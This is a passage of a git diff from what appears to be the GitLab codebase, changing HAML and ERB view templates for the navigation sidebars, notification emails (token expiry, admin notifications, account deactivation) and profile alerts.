= _('Explore projects')
- - experiment(:new_repo, user: current_user) do |e|
- - e.use do
- = nav_link(path: 'projects/new#blank_project', html_options: { class: 'gl-border-0 gl-border-t-1 gl-border-solid gl-border-gray-100' }) do
- = link_to new_project_path(anchor: 'blank_project'), data: { track_label: "projects_dropdown_blank_project", track_event: "click_link", track_experiment: "new_repo", qa_selector: "create_project_link" } do
- = _('Create blank project')
- = nav_link(path: 'projects/new#import_project') do
- = link_to new_project_path(anchor: 'import_project'), data: { track_label: "projects_dropdown_import_project", track_event: "click_link", track_experiment: "new_repo", qa_selector: "import_project_link" } do
- = _('Import project')
- - e.try do
- = nav_link(path: 'projects/new#blank_project', html_options: { class: 'gl-border-0 gl-border-t-1 gl-border-solid gl-border-gray-100' }) do
- = link_to new_project_path(anchor: 'blank_project'), data: { track_label: "projects_dropdown_blank_project", track_event: "click_link", track_experiment: "new_repo" } do
- = _('Create blank project/repository')
- = nav_link(path: 'projects/new#import_project') do
- = link_to new_project_path(anchor: 'import_project'), data: { track_label: "projects_dropdown_import_project", track_event: "click_link", track_experiment: "new_repo" } do
- = _('Import project/repository')
+ = nav_link(path: 'projects/new#blank_project', html_options: { class: 'gl-border-0 gl-border-t-1 gl-border-solid gl-border-gray-100' }) do
+ = link_to new_project_path(anchor: 'blank_project'), data: { track_label: "projects_dropdown_blank_project", track_event: "click_link", qa_selector: "create_project_link" } do
+ = _('Create blank project')
+ = nav_link(path: 'projects/new#import_project') do
+ = link_to new_project_path(anchor: 'import_project'), data: { track_label: "projects_dropdown_import_project", track_event: "click_link", qa_selector: "import_project_link" } do
+ = _('Import project')
= nav_link(path: 'projects/new#create_from_template') do
= link_to new_project_path(anchor: 'create_from_template'), data: { track_label: "projects_dropdown_create_from_template", track_event: "click_link" } do
= _('Create from template')
diff --git a/app/views/layouts/nav/sidebar/_admin.html.haml b/app/views/layouts/nav/sidebar/_admin.html.haml
index 21c3d7cb7e2..d0b73a3364a 100644
--- a/app/views/layouts/nav/sidebar/_admin.html.haml
+++ b/app/views/layouts/nav/sidebar/_admin.html.haml
@@ -1,12 +1,9 @@
-- avatar_size = sidebar_refactor_disabled? ? 24 : 18
-- avatar_size_class = sidebar_refactor_disabled? ? 's40' : 's32'
-
%aside.nav-sidebar.qa-admin-sidebar{ class: ("sidebar-collapsed-desktop" if collapsed_sidebar?), 'aria-label': _('Admin navigation') }
.nav-sidebar-inner-scroll
.context-header
= link_to admin_root_path, title: _('Admin Overview') do
- %span{ class: ['avatar-container', 'settings-avatar', 'rect-avatar', avatar_size_class] }
- = sprite_icon('admin', size: avatar_size)
+ %span{ class: ['avatar-container', 'settings-avatar', 'rect-avatar', 's32'] }
+ = sprite_icon('admin', size: 18)
%span.sidebar-context-title
= _('Admin Area')
%ul.sidebar-top-level-items{ data: { qa_selector: 'admin_sidebar_overview_submenu_content' } }
@@ -209,19 +206,6 @@
= render_if_exists 'layouts/nav/sidebar/credentials_link'
- - if show_service_templates_nav_link?
- = nav_link(controller: :services) do
- = link_to admin_application_settings_services_path do
- .nav-icon-container
- = sprite_icon('template')
- %span.nav-item-name
- = _('Service Templates')
- %ul.sidebar-sub-level-items.is-fly-out-only
- = nav_link(controller: :services, html_options: { class: "fly-out-top-item" } ) do
- = link_to admin_application_settings_services_path do
- %strong.fly-out-top-item-name
- = _('Service Templates')
-
= nav_link(controller: :labels) do
= link_to admin_labels_path do
.nav-icon-container
diff --git a/app/views/layouts/nav/sidebar/_analytics_links.html.haml b/app/views/layouts/nav/sidebar/_analytics_links.html.haml
index 58989d6afc4..92a7b97203f 100644
--- a/app/views/layouts/nav/sidebar/_analytics_links.html.haml
+++ b/app/views/layouts/nav/sidebar/_analytics_links.html.haml
@@ -1,6 +1,6 @@
- navbar_links = links.sort_by(&:title)
- all_paths = navbar_links.map(&:path)
-- analytics_link = navbar_links.find { |link| link.title == _('Value Stream') } || navbar_links.first
+- analytics_link = navbar_links.find { |link| link.title == _('Value stream') } || navbar_links.first
- if navbar_links.any?
= nav_link(path: all_paths) do
diff --git a/app/views/layouts/nav/sidebar/_context_menu_body.html.haml b/app/views/layouts/nav/sidebar/_context_menu_body.html.haml
deleted file mode 100644
index 321bcda5702..00000000000
--- a/app/views/layouts/nav/sidebar/_context_menu_body.html.haml
+++ /dev/null
@@ -1,9 +0,0 @@
-- avatar_size_class = sidebar_refactor_disabled? ? 's40' : 's32'
-- avatar_classes = ['avatar-container', 'rect-avatar', 'group-avatar']
-- avatar_classes << avatar_size_class
-
-= link_to group_path(@group), title: @group.name, data: { qa_selector: 'group_scope_link' } do
- %span{ class: avatar_classes }
- = group_icon(@group, class: ['avatar', 'avatar-tile', avatar_size_class])
- %span.sidebar-context-title
- = @group.name
diff --git a/app/views/layouts/nav/sidebar/_group.html.haml b/app/views/layouts/nav/sidebar/_group.html.haml
index 0ce1d48a2de..980730bc3be 100644
--- a/app/views/layouts/nav/sidebar/_group.html.haml
+++ b/app/views/layouts/nav/sidebar/_group.html.haml
@@ -1,207 +1,3 @@
-- issues_count = cached_issuables_count(@group, type: :issues)
-- merge_requests_count = cached_issuables_count(@group, type: :merge_requests)
-- aside_title = @group.subgroup? ? _('Subgroup navigation') : _('Group navigation')
-
-%aside.nav-sidebar{ class: ("sidebar-collapsed-desktop" if collapsed_sidebar?), **sidebar_tracking_attributes_by_object(@group), 'aria-label': aside_title }
- .nav-sidebar-inner-scroll
- - if sidebar_refactor_disabled?
- .context-header
- = render 'layouts/nav/sidebar/context_menu_body'
-
- %ul.sidebar-top-level-items.qa-group-sidebar
- - if sidebar_refactor_enabled?
- = nav_link(path: ['groups#show', 'groups#details'], html_options: { class: 'context-header' }) do
- = render 'layouts/nav/sidebar/context_menu_body'
-
- = render_if_exists 'layouts/nav/sidebar/group_trial_status_widget', group: @group
-
- - if group_sidebar_link?(:overview)
- - paths = group_overview_nav_link_paths
- = nav_link(path: paths, unless: -> { current_path?('groups/contribution_analytics#show') }, html_options: { class: 'home' }) do
- - information_link = sidebar_refactor_enabled? ? activity_group_path(@group) : group_path(@group)
- = link_to information_link, class: 'has-sub-items', data: { qa_selector: 'group_information_link' } do
- .nav-icon-container
- - sprite = sidebar_refactor_enabled? ? 'group' : 'home'
- = sprite_icon(sprite)
- %span.nav-item-name
- = group_information_title(@group)
-
- %ul.sidebar-sub-level-items{ data: { qa_selector: 'group_information_submenu'} }
- = nav_link(path: paths, html_options: { class: "fly-out-top-item" } ) do
- = link_to information_link do
- %strong.fly-out-top-item-name
- = group_information_title(@group)
- %li.divider.fly-out-top-item
-
- - if sidebar_refactor_disabled?
- = nav_link(path: ['groups#show', 'groups#details', 'groups#subgroups'], html_options: { class: 'home' }) do
- = link_to details_group_path(@group), title: _('Group details') do
- %span
- = _('Details')
-
- - if group_sidebar_link?(:activity)
- = nav_link(path: 'groups#activity') do
- = link_to activity_group_path(@group), title: _('Activity') do
- %span
- = _('Activity')
-
- - if group_sidebar_link?(:labels) && sidebar_refactor_enabled?
- = nav_link(path: 'labels#index') do
- = link_to group_labels_path(@group), title: _('Labels') do
- %span
- = _('Labels')
-
- - if sidebar_refactor_enabled?
- - if group_sidebar_link?(:group_members)
- = nav_link(path: 'group_members#index') do
- = link_to group_group_members_path(@group), title: _('Members'), data: { qa_selector: 'group_members_item' } do
- %span
- = _('Members')
-
- = render_if_exists "layouts/nav/ee/epic_link", group: @group
-
- - if group_sidebar_link?(:issues)
- = nav_link(path: group_issues_sub_menu_items, unless: -> { current_path?('issues_analytics#show') }) do
- = link_to issues_group_path(@group), data: { qa_selector: 'group_issues_item' }, class: 'has-sub-items' do
- .nav-icon-container
- = sprite_icon('issues')
- %span.nav-item-name
- = _('Issues')
- %span.badge.badge-pill.count= issues_count
-
- %ul.sidebar-sub-level-items{ data: { qa_selector: 'group_issues_sidebar_submenu'} }
- = nav_link(path: group_issues_sub_menu_items, html_options: { class: "fly-out-top-item" } ) do
- = link_to issues_group_path(@group) do
- %strong.fly-out-top-item-name
- = _('Issues')
- %span.badge.badge-pill.count.issue_counter.fly-out-badge= issues_count
-
- %li.divider.fly-out-top-item
- = nav_link(path: 'groups#issues', html_options: { class: 'home' }) do
- = link_to issues_group_path(@group), title: _('List') do
- %span
- = _('List')
-
- - if group_sidebar_link?(:boards)
- = nav_link(path: ['boards#index', 'boards#show']) do
- = link_to group_boards_path(@group), title: boards_link_text, data: { qa_selector: 'group_issue_boards_link' } do
- %span
- = boards_link_text
-
- - if group_sidebar_link?(:labels) && sidebar_refactor_disabled?
- = nav_link(path: 'labels#index') do
- = link_to group_labels_path(@group), title: _('Labels') do
- %span
- = _('Labels')
-
- - if group_sidebar_link?(:milestones)
- = nav_link(path: 'milestones#index') do
- = link_to group_milestones_path(@group), title: _('Milestones'), data: { qa_selector: 'group_milestones_link' } do
- %span
- = _('Milestones')
-
- = render_if_exists 'layouts/nav/sidebar/group_iterations_link'
-
- - if group_sidebar_link?(:merge_requests)
- = nav_link(path: 'groups#merge_requests') do
- = link_to merge_requests_group_path(@group) do
- .nav-icon-container
- = sprite_icon('git-merge')
- %span.nav-item-name
- = _('Merge requests')
- %span.badge.badge-pill.count= merge_requests_count
- %ul.sidebar-sub-level-items.is-fly-out-only
- = nav_link(path: 'groups#merge_requests', html_options: { class: "fly-out-top-item" } ) do
- = link_to merge_requests_group_path(@group) do
- %strong.fly-out-top-item-name
- = _('Merge requests')
- %span.badge.badge-pill.count.merge_counter.js-merge-counter.fly-out-badge= merge_requests_count
-
- = render_if_exists "layouts/nav/ee/security_link" # EE-specific
-
- = render_if_exists "layouts/nav/ee/push_rules_link" # EE-specific
-
- - if group_sidebar_link?(:kubernetes)
- = nav_link(controller: [:clusters]) do
- = link_to group_clusters_path(@group) do
- .nav-icon-container
- = sprite_icon('cloud-gear')
- %span.nav-item-name
- = _('Kubernetes')
- %ul.sidebar-sub-level-items.is-fly-out-only
- = nav_link(controller: [:clusters], html_options: { class: "fly-out-top-item" } ) do
- = link_to group_clusters_path(@group), title: _('Kubernetes'), class: 'shortcuts-kubernetes' do
- %strong.fly-out-top-item-name
- = _('Kubernetes')
-
- = render 'groups/sidebar/packages'
-
- = render 'layouts/nav/sidebar/analytics_links', links: group_analytics_navbar_links(@group, current_user)
-
- - if group_sidebar_link?(:wiki)
- = render 'layouts/nav/sidebar/wiki_link', wiki_url: @group.wiki.web_url
-
- - if sidebar_refactor_disabled?
- - if group_sidebar_link?(:group_members)
- = nav_link(path: 'group_members#index') do
- = link_to group_group_members_path(@group) do
- .nav-icon-container
- = sprite_icon('users')
- %span.nav-item-name.qa-group-members-item
- = _('Members')
- %ul.sidebar-sub-level-items.is-fly-out-only
- = nav_link(path: 'group_members#index', html_options: { class: "fly-out-top-item" } ) do
- = link_to group_group_members_path(@group) do
- %strong.fly-out-top-item-name
- = _('Members')
-
- - if group_sidebar_link?(:settings)
- = nav_link(path: group_settings_nav_link_paths) do
- = link_to edit_group_path(@group), class: 'has-sub-items' do
- .nav-icon-container
- = sprite_icon('settings')
- %span.nav-item-name{ data: { qa_selector: 'group_settings' } }
- = _('Settings')
- %ul.sidebar-sub-level-items.qa-group-sidebar-submenu{ data: { testid: 'group-settings-menu' } }
- = nav_link(path: %w[groups#projects groups#edit badges#index ci_cd#show groups/applications#index], html_options: { class: "fly-out-top-item" } ) do
- = link_to edit_group_path(@group) do
- %strong.fly-out-top-item-name
- = _('Settings')
- %li.divider.fly-out-top-item
- = nav_link(path: 'groups#edit') do
- = link_to edit_group_path(@group), title: _('General'), data: { qa_selector: 'general_settings_link' } do
- %span
- = _('General')
-
- = nav_link(controller: :integrations) do
- = link_to group_settings_integrations_path(@group), title: _('Integrations') do
- %span
- = _('Integrations')
-
- = nav_link(path: 'groups#projects') do
- = link_to projects_group_path(@group), title: _('Projects') do
- %span
- = _('Projects')
-
- = nav_link(controller: :repository) do
- = link_to group_settings_repository_path(@group), title: _('Repository') do
- %span
- = _('Repository')
-
- = nav_link(controller: [:ci_cd, 'groups/runners']) do
- = link_to group_settings_ci_cd_path(@group), title: _('CI/CD') do
- %span
- = _('CI/CD')
-
- = nav_link(controller: :applications) do
- = link_to group_settings_applications_path(@group), title: _('Applications') do
- %span
- = _('Applications')
-
- = render 'groups/sidebar/packages_settings'
-
- = render_if_exists "groups/ee/settings_nav"
-
- = render_if_exists "groups/ee/administration_nav"
-
- = render 'shared/sidebar_toggle_button'
+-# We're migration the group sidebar to a logical model based structure. If you need to update
+-# any of the existing menus, you can find them in app/views/layouts/nav/sidebar/_group_menus.html.haml.
+= render partial: 'shared/nav/sidebar', object: Sidebars::Groups::Panel.new(group_sidebar_context(@group, current_user))
diff --git a/app/views/layouts/nav/sidebar/_group_menus.html.haml b/app/views/layouts/nav/sidebar/_group_menus.html.haml
new file mode 100644
index 00000000000..5738c8becd5
--- /dev/null
+++ b/app/views/layouts/nav/sidebar/_group_menus.html.haml
@@ -0,0 +1,166 @@
+- issues_count = cached_issuables_count(@group, type: :issues)
+- merge_requests_count = cached_issuables_count(@group, type: :merge_requests)
+
+= render_if_exists 'layouts/nav/sidebar/group_trial_status_widget', group: @group
+
+- if group_sidebar_link?(:overview)
+ - paths = group_overview_nav_link_paths
+ = nav_link(path: paths, unless: -> { current_path?('groups/contribution_analytics#show') }, html_options: { class: 'home' }) do
+ = link_to activity_group_path(@group), class: 'has-sub-items', data: { qa_selector: 'group_information_link' } do
+ .nav-icon-container
+ = sprite_icon('group')
+ %span.nav-item-name
+ = group_information_title(@group)
+
+ %ul.sidebar-sub-level-items{ data: { qa_selector: 'group_information_submenu'} }
+ = nav_link(path: paths, html_options: { class: "fly-out-top-item" } ) do
+ = link_to activity_group_path(@group) do
+ %strong.fly-out-top-item-name
+ = group_information_title(@group)
+ %li.divider.fly-out-top-item
+
+ - if group_sidebar_link?(:activity)
+ = nav_link(path: 'groups#activity') do
+ = link_to activity_group_path(@group), title: _('Activity') do
+ %span
+ = _('Activity')
+
+ - if group_sidebar_link?(:labels)
+ = nav_link(path: 'labels#index') do
+ = link_to group_labels_path(@group), title: _('Labels') do
+ %span
+ = _('Labels')
+
+ - if group_sidebar_link?(:group_members)
+ = nav_link(path: 'group_members#index') do
+ = link_to group_group_members_path(@group), title: _('Members'), data: { qa_selector: 'group_members_item' } do
+ %span
+ = _('Members')
+
+= render_if_exists "layouts/nav/ee/epic_link", group: @group
+
+- if group_sidebar_link?(:issues)
+ = nav_link(path: group_issues_sub_menu_items, unless: -> { current_path?('issues_analytics#show') }) do
+ = link_to issues_group_path(@group), data: { qa_selector: 'group_issues_item' }, class: 'has-sub-items' do
+ .nav-icon-container
+ = sprite_icon('issues')
+ %span.nav-item-name
+ = _('Issues')
+ %span.badge.badge-pill.count= issues_count
+
+ %ul.sidebar-sub-level-items{ data: { qa_selector: 'group_issues_sidebar_submenu'} }
+ = nav_link(path: group_issues_sub_menu_items, html_options: { class: "fly-out-top-item" } ) do
+ = link_to issues_group_path(@group) do
+ %strong.fly-out-top-item-name
+ = _('Issues')
+ %span.badge.badge-pill.count.issue_counter.fly-out-badge= issues_count
+
+ %li.divider.fly-out-top-item
+ = nav_link(path: 'groups#issues', html_options: { class: 'home' }) do
+ = link_to issues_group_path(@group), title: _('List') do
+ %span
+ = _('List')
+
+ - if group_sidebar_link?(:boards)
+ = nav_link(path: ['boards#index', 'boards#show']) do
+ = link_to group_boards_path(@group), title: boards_link_text, data: { qa_selector: 'group_issue_boards_link' } do
+ %span
+ = boards_link_text
+
+ - if group_sidebar_link?(:milestones)
+ = nav_link(path: 'milestones#index') do
+ = link_to group_milestones_path(@group), title: _('Milestones'), data: { qa_selector: 'group_milestones_link' } do
+ %span
+ = _('Milestones')
+
+ = render_if_exists 'layouts/nav/sidebar/group_iterations_link'
+
+- if group_sidebar_link?(:merge_requests)
+ = nav_link(path: 'groups#merge_requests') do
+ = link_to merge_requests_group_path(@group) do
+ .nav-icon-container
+ = sprite_icon('git-merge')
+ %span.nav-item-name
+ = _('Merge requests')
+ %span.badge.badge-pill.count= merge_requests_count
+ %ul.sidebar-sub-level-items.is-fly-out-only
+ = nav_link(path: 'groups#merge_requests', html_options: { class: "fly-out-top-item" } ) do
+ = link_to merge_requests_group_path(@group) do
+ %strong.fly-out-top-item-name
+ = _('Merge requests')
+ %span.badge.badge-pill.count.merge_counter.js-merge-counter.fly-out-badge= merge_requests_count
+
+= render_if_exists "layouts/nav/ee/security_link" # EE-specific
+
+= render_if_exists "layouts/nav/ee/push_rules_link" # EE-specific
+
+- if group_sidebar_link?(:kubernetes)
+ = nav_link(controller: [:clusters]) do
+ = link_to group_clusters_path(@group) do
+ .nav-icon-container
+ = sprite_icon('cloud-gear')
+ %span.nav-item-name
+ = _('Kubernetes')
+ %ul.sidebar-sub-level-items.is-fly-out-only
+ = nav_link(controller: [:clusters], html_options: { class: "fly-out-top-item" } ) do
+ = link_to group_clusters_path(@group), title: _('Kubernetes'), class: 'shortcuts-kubernetes' do
+ %strong.fly-out-top-item-name
+ = _('Kubernetes')
+
+= render 'groups/sidebar/packages'
+
+= render 'layouts/nav/sidebar/analytics_links', links: group_analytics_navbar_links(@group, current_user)
+
+- if group_sidebar_link?(:wiki)
+ = render 'layouts/nav/sidebar/wiki_link', wiki_url: @group.wiki.web_url
+
+- if group_sidebar_link?(:settings)
+ = nav_link(path: group_settings_nav_link_paths) do
+ = link_to edit_group_path(@group), class: 'has-sub-items' do
+ .nav-icon-container
+ = sprite_icon('settings')
+ %span.nav-item-name{ data: { qa_selector: 'group_settings' } }
+ = _('Settings')
+ %ul.sidebar-sub-level-items{ data: { testid: 'group-settings-menu', qa_selector: 'group_sidebar_submenu' } }
+ = nav_link(path: %w[groups#projects groups#edit badges#index ci_cd#show groups/applications#index], html_options: { class: "fly-out-top-item" } ) do
+ = link_to edit_group_path(@group) do
+ %strong.fly-out-top-item-name
+ = _('Settings')
+ %li.divider.fly-out-top-item
+ = nav_link(path: 'groups#edit') do
+ = link_to edit_group_path(@group), title: _('General'), data: { qa_selector: 'general_settings_link' } do
+ %span
+ = _('General')
+
+ = nav_link(controller: :integrations) do
+ = link_to group_settings_integrations_path(@group), title: _('Integrations') do
+ %span
+ = _('Integrations')
+
+ = nav_link(path: 'groups#projects') do
+ = link_to projects_group_path(@group), title: _('Projects') do
+ %span
+ = _('Projects')
+
+ = nav_link(controller: :repository) do
+ = link_to group_settings_repository_path(@group), title: _('Repository') do
+ %span
+ = _('Repository')
+
+ = nav_link(controller: [:ci_cd, 'groups/runners']) do
+ = link_to group_settings_ci_cd_path(@group), title: _('CI/CD') do
+ %span
+ = _('CI/CD')
+
+ = nav_link(controller: :applications) do
+ = link_to group_settings_applications_path(@group), title: _('Applications') do
+ %span
+ = _('Applications')
+
+ = render 'groups/sidebar/packages_settings'
+
+ = render_if_exists "groups/ee/settings_nav"
+
+= render_if_exists "groups/ee/administration_nav"
+
+= render 'shared/sidebar_toggle_button'
diff --git a/app/views/layouts/nav/sidebar/_profile.html.haml b/app/views/layouts/nav/sidebar/_profile.html.haml
index daafabdb799..4db1e532ba5 100644
--- a/app/views/layouts/nav/sidebar/_profile.html.haml
+++ b/app/views/layouts/nav/sidebar/_profile.html.haml
@@ -1,12 +1,9 @@
-- avatar_size = sidebar_refactor_disabled? ? 40 : 32
-- avatar_size_class = sidebar_refactor_disabled? ? 's40' : 's32'
-
%aside.nav-sidebar{ class: ("sidebar-collapsed-desktop" if collapsed_sidebar?), **sidebar_tracking_attributes_by_object(current_user), 'aria-label': _('User settings') }
.nav-sidebar-inner-scroll
.context-header
= link_to profile_path, title: _('Profile Settings') do
- %span{ class: ['avatar-container', 'settings-avatar', avatar_size_class] }
- = image_tag avatar_icon_for_user(current_user, avatar_size), class: ['avatar', 'avatar-tile', 'js-sidebar-user-avatar', avatar_size_class], alt: current_user.name, data: { testid: 'sidebar-user-avatar' }
+ %span{ class: ['avatar-container', 'settings-avatar', 's32'] }
+ = image_tag avatar_icon_for_user(current_user, 32), class: ['avatar', 'avatar-tile', 'js-sidebar-user-avatar', 's32'], alt: current_user.name, data: { testid: 'sidebar-user-avatar' }
%span.sidebar-context-title= _('User Settings')
%ul.sidebar-top-level-items
= nav_link(path: 'profiles#show', html_options: {class: 'home'}) do
diff --git a/app/views/layouts/welcome.html.haml b/app/views/layouts/welcome.html.haml
deleted file mode 100644
index 944f524d692..00000000000
--- a/app/views/layouts/welcome.html.haml
+++ /dev/null
@@ -1,8 +0,0 @@
-!!! 5
-%html.subscriptions-layout-html{ lang: 'en' }
- = render 'layouts/head'
- %body.ui-indigo.gl-display-flex.vh-100
- = render "layouts/header/logo_with_title"
- = render "layouts/broadcast"
- .container.gl-display-flex.gl-flex-grow-1
- = yield
diff --git a/app/views/notify/access_token_about_to_expire_email.html.haml b/app/views/notify/access_token_about_to_expire_email.html.haml
index ea27f72764f..fc318de4c42 100644
--- a/app/views/notify/access_token_about_to_expire_email.html.haml
+++ b/app/views/notify/access_token_about_to_expire_email.html.haml
@@ -8,4 +8,4 @@
%li= token
%p
- pat_link_start = '<a href="%{url}" target="_blank" rel="noopener noreferrer">'.html_safe % { url: @target_url }
- = html_escape(_('You can create a new one or check them in your %{pat_link_start}personal access tokens%{pat_link_end} settings')) % { pat_link_start: pat_link_start, pat_link_end: '</a>'.html_safe }
+ = html_escape(_('You can create a new one or check them in your %{pat_link_start}personal access tokens%{pat_link_end} settings.')) % { pat_link_start: pat_link_start, pat_link_end: '</a>'.html_safe }
diff --git a/app/views/notify/access_token_about_to_expire_email.text.erb b/app/views/notify/access_token_about_to_expire_email.text.erb
index dc9b1379e47..39608f0d6bd 100644
--- a/app/views/notify/access_token_about_to_expire_email.text.erb
+++ b/app/views/notify/access_token_about_to_expire_email.text.erb
@@ -6,4 +6,4 @@
- <%= token %>
<% end %>
-<%= _('You can create a new one or check them in your personal access tokens settings %{pat_link}') % { pat_link: @target_url } %>
+<%= _('You can create a new one or check them in your personal access tokens settings %{pat_link}.') % { pat_link: @target_url } %>
diff --git a/app/views/notify/access_token_expired_email.html.haml b/app/views/notify/access_token_expired_email.html.haml
index b26431cce91..1e7c07c2282 100644
--- a/app/views/notify/access_token_expired_email.html.haml
+++ b/app/views/notify/access_token_expired_email.html.haml
@@ -4,4 +4,4 @@
= _('One or more of your personal access tokens has expired.')
%p
- pat_link_start = '<a href="%{url}" target="_blank" rel="noopener noreferrer">'.html_safe % { url: @target_url }
- = html_escape(_('You can create a new one or check them in your %{pat_link_start}personal access tokens%{pat_link_end} settings')) % { pat_link_start: pat_link_start, pat_link_end: '</a>'.html_safe }
+ = html_escape(_('You can create a new one or check them in your %{pat_link_start}personal access tokens%{pat_link_end} settings.')) % { pat_link_start: pat_link_start, pat_link_end: '</a>'.html_safe }
diff --git a/app/views/notify/access_token_expired_email.text.erb b/app/views/notify/access_token_expired_email.text.erb
index d44f993d094..4dc67e85dc2 100644
--- a/app/views/notify/access_token_expired_email.text.erb
+++ b/app/views/notify/access_token_expired_email.text.erb
@@ -2,4 +2,4 @@
<%= _('One or more of your personal access tokens has expired.') %>
-<%= _('You can create a new one or check them in your personal access tokens settings %{pat_link}') % { pat_link: @target_url } %>
+<%= _('You can create a new one or check them in your personal access tokens settings %{pat_link}.') % { pat_link: @target_url } %>
diff --git a/app/views/notify/in_product_marketing_email.html.haml b/app/views/notify/in_product_marketing_email.html.haml
index 45b002757e3..6382718480f 100644
--- a/app/views/notify/in_product_marketing_email.html.haml
+++ b/app/views/notify/in_product_marketing_email.html.haml
@@ -3,7 +3,7 @@
%head
%meta{ content: "text/html; charset=utf-8", "http-equiv" => "Content-Type" }
%meta{ content: "width=device-width, initial-scale=1", name: "viewport" }
- %link{ href: "https://fonts.googleapis.com/css?family=Source+Sans+Pro:400,600", rel: "stylesheet", type: "text/css" }
+ %link{ href: "https://fonts.googleapis.com/css?family=Source+Sans+Pro:400,600", rel: "stylesheet", type: "text/css", data: { premailer: 'ignore' } }
%title= message.subject
:css
/* CLIENT-SPECIFIC STYLES */
diff --git a/app/views/notify/send_admin_notification.html.haml b/app/views/notify/send_admin_notification.html.haml
new file mode 100644
index 00000000000..f7f1528f332
--- /dev/null
+++ b/app/views/notify/send_admin_notification.html.haml
@@ -0,0 +1,7 @@
+= simple_format @body
+
+\----
+
+%p
+ Don't want to receive updates from GitLab administrators?
+ = link_to 'Unsubscribe', @unsubscribe_url
diff --git a/app/views/notify/send_admin_notification.text.haml b/app/views/notify/send_admin_notification.text.haml
new file mode 100644
index 00000000000..bfacbd3dcb2
--- /dev/null
+++ b/app/views/notify/send_admin_notification.text.haml
@@ -0,0 +1,6 @@
+= h @body
+
+\-----
+
+Don't want to receive updates from GitLab administrators?
+Unsubscribe here: #{@unsubscribe_url}
diff --git a/app/views/notify/send_unsubscribed_notification.html.haml b/app/views/notify/send_unsubscribed_notification.html.haml
new file mode 100644
index 00000000000..9f68feeaa31
--- /dev/null
+++ b/app/views/notify/send_unsubscribed_notification.html.haml
@@ -0,0 +1,2 @@
+%p
+ You have been unsubscribed from receiving GitLab administrator notifications.
diff --git a/app/views/notify/send_unsubscribed_notification.text.haml b/app/views/notify/send_unsubscribed_notification.text.haml
new file mode 100644
index 00000000000..5edc1ddcdae
--- /dev/null
+++ b/app/views/notify/send_unsubscribed_notification.text.haml
@@ -0,0 +1 @@
+You have been unsubscribed from receiving GitLab administrator notifications.
diff --git a/app/views/notify/user_deactivated_email.html.haml b/app/views/notify/user_deactivated_email.html.haml
new file mode 100644
index 00000000000..a9262cab219
--- /dev/null
+++ b/app/views/notify/user_deactivated_email.html.haml
@@ -0,0 +1,17 @@
+= email_default_heading(_('Hello %{name},') % { name: @name })
+%p
+ = _('Your account has been deactivated. You will not be able to: ')
+%ul
+ %li
+ = _('Access Git repositories or the API.')
+ %li
+ = _('Receive any notifications from GitLab.')
+ %li
+ = _('Use slash commands.')
+%p
+ - gitlab_link_start = '<a href="%{url}" target="_blank" rel="noopener noreferrer">'.html_safe % { url: root_url }
+ - link_end = '</a>'.html_safe
+ = _('To reactivate your account, %{gitlab_link_start}sign in to GitLab.%{link_end}').html_safe % { gitlab_link_start: gitlab_link_start, link_end: link_end}
+
+%p
+ = _('Please contact your GitLab administrator if you think this is an error.')
diff --git a/app/views/notify/user_deactivated_email.text.erb b/app/views/notify/user_deactivated_email.text.erb
new file mode 100644
index 00000000000..9e7d00f4ad1
--- /dev/null
+++ b/app/views/notify/user_deactivated_email.text.erb
@@ -0,0 +1,10 @@
+<%= _('Hello %{name},') % { name: @name } %>
+
+<%= _('Your account has been deactivated. You will not be able to: ') %>
+ - <%= _('Access Git repositories or the API.') %>
+ - <%= _('Receive any notifications from GitLab.') %>
+ - <%= _('Use slash commands.') %>
+
+<%= _('To reactivate your account, sign in to GitLab at %{gitlab_url}.') % { gitlab_url: root_url } %>
+
+<%= _('Please contact your GitLab administrator if you think this is an error.') %>
diff --git a/app/views/profiles/accounts/show.html.haml b/app/views/profiles/accounts/show.html.haml
index c4de47f276c..809dc3320ff 100644
--- a/app/views/profiles/accounts/show.html.haml
+++ b/app/views/profiles/accounts/show.html.haml
@@ -2,16 +2,20 @@
- @content_class = "limit-container-width" unless fluid_layout
- if current_user.ldap_user?
- .gl-alert.gl-alert-info.gl-my-5
- = sprite_icon('information-o', size: 16, css_class: 'gl-icon gl-alert-icon gl-alert-icon-no-title')
+ = render 'shared/global_alert',
+ variant: :info,
+ alert_class: 'gl-my-5',
+ is_contained: true,
+ dismissible: false do
.gl-alert-body
= s_('Profiles|Some options are unavailable for LDAP accounts')
- if params[:two_factor_auth_enabled_successfully]
- .gl-alert.gl-alert-success.gl-my-5{ role: 'alert' }
- = sprite_icon('check-circle', size: 16, css_class: 'gl-alert-icon gl-alert-icon-no-title')
- %button.gl-alert-dismiss.js-close-2fa-enabled-success-alert{ type: 'button', aria: { label: _('Close') } }
- = sprite_icon('close', size: 16)
+ = render 'shared/global_alert',
+ variant: :success,
+ alert_class: 'gl-my-5',
+ is_contained: true,
+ close_button_class: 'js-close-2fa-enabled-success-alert' do
.gl-alert-body
= html_escape(_('You have set up 2FA for your account! If you lose access to your 2FA device, you can use your recovery codes to access your account. Alternatively, if you upload an SSH key, you can %{anchorOpen}use that key to generate additional recovery codes%{anchorClose}.')) % { anchorOpen: '<a href="%{href}">'.html_safe % { href: help_page_path('user/profile/account/two_factor_authentication', anchor: 'generate-new-recovery-codes-using-ssh') }, anchorClose: '</a>'.html_safe }
diff --git a/app/views/profiles/keys/index.html.haml b/app/views/profiles/keys/index.html.haml
index 69b8d2ddafe..584bd44e386 100644
--- a/app/views/profiles/keys/index.html.haml
+++ b/app/views/profiles/keys/index.html.haml
@@ -11,8 +11,8 @@
%h5.gl-mt-0
= _('Add an SSH key')
%p.profile-settings-content
- - generate_link_url = help_page_path("ssh/README", anchor: 'generate-an-ssh-key-pair')
- - existing_link_url = help_page_path("ssh/README", anchor: 'see-if-you-have-an-existing-ssh-key-pair')
+ - generate_link_url = help_page_path("ssh/index", anchor: 'generate-an-ssh-key-pair')
+ - existing_link_url = help_page_path("ssh/index", anchor: 'see-if-you-have-an-existing-ssh-key-pair')
- generate_link_start = '<a href="%{url}" target="_blank" rel="noopener noreferrer">'.html_safe % { url: generate_link_url }
- existing_link_start = '<a href="%{url}" target="_blank" rel="noopener noreferrer">'.html_safe % { url: existing_link_url }
= _('To add an SSH key you need to %{generate_link_start}generate one%{link_end} or use an %{existing_link_start}existing key%{link_end}.').html_safe % { generate_link_start: generate_link_start, existing_link_start: existing_link_start, link_end: '</a>'.html_safe }
diff --git a/app/views/profiles/personal_access_tokens/index.html.haml b/app/views/profiles/personal_access_tokens/index.html.haml
index 3661b93e33c..7c1f28345fd 100644
--- a/app/views/profiles/personal_access_tokens/index.html.haml
